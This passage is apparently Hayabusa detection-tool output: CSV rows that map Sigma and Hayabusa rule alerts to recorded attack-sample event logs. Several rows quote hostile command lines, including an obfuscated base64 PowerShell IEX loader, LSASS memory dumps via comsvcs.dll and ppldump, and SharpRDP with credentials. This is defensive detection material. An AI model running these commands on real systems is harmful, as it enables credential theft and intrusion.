Creation,"Command: ""C:\Windows\system32\rundll32.exe"" zipfldr.dll,RouteTheCall shell:::{769f9427-3cc6-4b62-be14-2a705115b7ab} : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.614 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\windows\system32\wscript.exe"" /E:vbs c:\windows\temp\icon.ico ""powershell -exec bypass -c """"IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFhYPUlFWCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3RlbS5UZXh0LkVuYycgKyBbY2hhcl0weDZmICsgJ2RpbmddOjpBJyArIFtjaGFyXTB4NTMgKyAnQ0lJLkdldCcgKyBbY2hhcl0weDUzICsgJ3RyaW5nKFsnICsgW2NoYXJdMHg1MyArICd5c3RlbS5DJyArIFtjaGFyXTB4NmYgKyAnbnZlcnRdOjpGcicgKyBbY2hhcl0weDZmICsgJ21CYXNlNicgKyBbY2hhcl0weDM0ICsgJycgKyBbY2hhcl0weDUzICsgJ3RyaW5nKChnZXQtYycgKyBbY2hhcl0weDZmICsgJ250ZW50IC1wYXRoICcnYzpcd2luZCcgKyBbY2hhcl0weDZmICsgJ3dzXHRlbXBccGljdHVyZS5qcGcnJykpKScpKTskQkI9SUVYKCgnc3RhcnQtc2xlZXAgMTA7JHM9JFhYOyRkID0gQCgpOyR2ID0gMDskYyA9IDA7d2hpbGUoJGMgLW5lICRzLmxlbmd0aCl7JHY9KCR2KjUyKSsoW0ludDMyXVtjaGFyXSRzWyRjXS0nICsgW2NoYXJdMHgzNCArICcwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtJRVgoWycgKyBbY2hhcl0weDUzICsgJ3RyaW5nXTo6SicgKyBbY2hhcl0weDZmICsgJ2luKCcnJycsJGQpKTs7JykpO0lFWCgkQkIp')))"""""" : Path: C:\Windows\System32\wscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\rundll32.exe"" zipfldr.dll,RouteTheCall shell:::{769f9427-3cc6-4b62-be14-2a705115b7ab}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:17:14.893 +09:00,MSEDGEWIN10,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbas_rundll32_zipfldr_routethecall_shell.evtx +2019-08-14 21:48:15.921 +09:00,MSEDGEWIN10,4703,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/win10_4703_SeDebugPrivilege_enabled.evtx +2019-08-14 21:48:15.921 +09:00,MSEDGEWIN10,4703,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/win10_4703_SeDebugPrivilege_enabled.evtx +2019-08-23 21:37:37.100 +09:00,MSEDGEWIN10,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-23 21:37:37.100 +09:00,MSEDGEWIN10,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-23 21:37:38.521 +09:00,MSEDGEWIN10,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-23 21:37:38.521 +09:00,MSEDGEWIN10,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Persistence_Winsock_Catalog Change EventId_1.evtx +2019-08-30 21:54:07.873 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cscript c:\ProgramData\memdump.vbs notepad.exe : Path: C:\Windows\System32\cscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:07.873 +09:00,MSEDGEWIN10,1,high,WScript or CScript Dropper,,rules/sigma/process_creation/win_malware_script_dropper.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.257 +09:00,MSEDGEWIN10,7,informational,WMI Modules Loaded,,rules/sigma/image_load/sysmon_wmi_module_load.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.354 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 C:\windows\system32\comsvcs.dll, MiniDump 4868 C:\Windows\System32\notepad.bin full : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.354 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-08-30 21:54:08.354 +09:00,MSEDGEWIN10,1,medium,Process Dump via Comsvcs DLL,,rules/sigma/process_creation/win_susp_comsvcs_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_1_memdump_comsvcs_minidump.evtx +2019-09-01 20:54:22.450 +09:00,MSEDGEWIN10,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/spoolsample_5145.evtx +2019-09-03 20:04:07.207 +09:00,MSEDGEWIN10,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/tunna_iis_rdp_smb_tunneling_sysmon_3.evtx +2019-09-03 20:04:56.358 +09:00,MSEDGEWIN10,3,high,Suspicious Outbound RDP Connections,,rules/sigma/network_connection/sysmon_susp_rdp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/tunna_iis_rdp_smb_tunneling_sysmon_3.evtx +2019-09-09 04:17:44.249 +09:00,MSEDGEWIN10,13,low,Usage of Sysinternals Tools,,rules/sigma/registry_event/registry_event_sysinternals_eula_accepted.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_valid_account_guest_rid_hijack.evtx +2019-09-22 20:22:05.201 +09:00,MSEDGEWIN10,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-3461203602-4096304019-2269080069-501 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Network_Service_Guest_added_to_admins_4732.evtx +2019-09-22 20:23:19.251 +09:00,MSEDGEWIN10,4732,high,User added to local Administrators group,User: - : SID: S-1-5-20 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/Network_Service_Guest_added_to_admins_4732.evtx +2019-11-03 22:51:58.263 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c set > c:\users\\public\netstat.txt : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\sqlsvc : Parent Command: ""c:\Program Files\Microsoft SQL Server\MSSQL10.SQLEXPRESS\MSSQL\Binn\sqlservr.exe"" -sSQLEXPRESS",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/sysmon_1_exec_via_sql_xpcmdshell.evtx +2019-11-03 22:51:58.263 +09:00,MSEDGEWIN10,1,critical,Suspicious Shells Spawn by SQL Server,,rules/sigma/process_creation/win_susp_shell_spawn_from_mssql.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/sysmon_1_exec_via_sql_xpcmdshell.evtx +2019-11-15 17:19:02.298 +09:00,alice.insecurebank.local,1102,high,Security log was cleared,User: bob,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/4624 LT3 AnonymousLogon Localhost - JuicyPotato.evtx +2019-11-15 17:19:17.134 +09:00,alice.insecurebank.local,4634,informational,Logoff,User: ANONYMOUS LOGON : LogonID: 0x1d12916,rules/hayabusa/default/events/Security/Logons/4634_Logoff.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/4624 LT3 AnonymousLogon Localhost - JuicyPotato.evtx +2020-01-15 05:44:50.353 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 url.dll,FileProtocolHandler ms-browser:// : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:50.353 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:50.353 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:51.016 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32 url.dll,FileProtocolHandler ms-browser://",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:44:51.122 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""cmd.exe"" /c notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.237 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 url.dll,OpenURL ms-browser:// : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.237 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.237 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.819 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32 url.dll,OpenURL ms-browser://",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:46:43.836 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""cmd.exe"" /c notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.044 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe /c start ms-browser:// : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.044 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.412 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""cmd.exe"" /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd.exe /c start ms-browser://",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:17.447 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""cmd.exe"" /c notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:45.243 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: explorer ms-browser:// : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:45.243 +09:00,MSEDGEWIN10,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-15 05:48:45.293 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmi_PoisonHandler_Mr-Un1k0d3r_sysmon_1_13.evtx +2020-01-24 04:09:34.052 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: SharpRDP.exe computername=192.168.56.1 command=""C:\Temp\file.exe"" username=domain\user password=password : Path: C:\ProgramData\USOShared\SharpRDP.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/sharprdp_sysmon_7_mstscax.dll.evtx +2020-02-10 17:28:12.856 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: Furutaka.exe dummy2.sys : Path: C:\Users\Public\BYOV\TDL\Furutaka.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DSE_bypass_BYOV_TDL_dummydriver_sysmon_6_7_13.evtx +2020-02-10 17:28:12.856 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DSE_bypass_BYOV_TDL_dummydriver_sysmon_6_7_13.evtx +2020-02-10 19:08:24.535 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: ppldump.exe -p lsass.exe -o a.png : Path: C:\Users\Public\BYOV\ZAM64\ppldump.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_BYOV_Zam64_CA_Memdump_sysmon_7_10.evtx +2020-02-10 19:08:24.535 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_BYOV_Zam64_CA_Memdump_sysmon_7_10.evtx +2020-02-10 19:08:24.666 +09:00,MSEDGEWIN10,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_BYOV_Zam64_CA_Memdump_sysmon_7_10.evtx +2020-03-07 22:17:38.534 +09:00,-,-,low,Rare Schtasks Creations,[condition] count() by TaskName < 5 in timeframe [result] count:1 TaskName:\\FullPowersTask timeframe:7d,rules/sigma/builtin/security/win_rare_schtasks_creations.yml,- +2020-03-07 22:17:39.984 +09:00,MSEDGEWIN10,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_SeImpersonatePriv_enabled_back_for_upnp_localsvc_4698.evtx +2020-03-09 07:11:34.340 +09:00,MSEDGEWIN10,4656,critical,LSASS Access from Non System Account,,rules/sigma/builtin/security/win_lsass_access_non_system_account.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_hashdump_4663_4656_lsass_access.evtx +2020-03-09 07:11:34.340 +09:00,MSEDGEWIN10,4656,high,Generic Password Dumper Activity on LSASS,,rules/sigma/builtin/security/win_susp_lsass_dump_generic.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_hashdump_4663_4656_lsass_access.evtx +2020-03-21 14:00:16.296 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: usoclient StartInteractiveScan : Path: C:\Windows\System32\UsoClient.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:17.980 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:17.992 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:17.997 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:18.007 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:18.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:18.046 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.189 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.195 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.215 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.221 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.234 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.250 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.392 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.421 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k 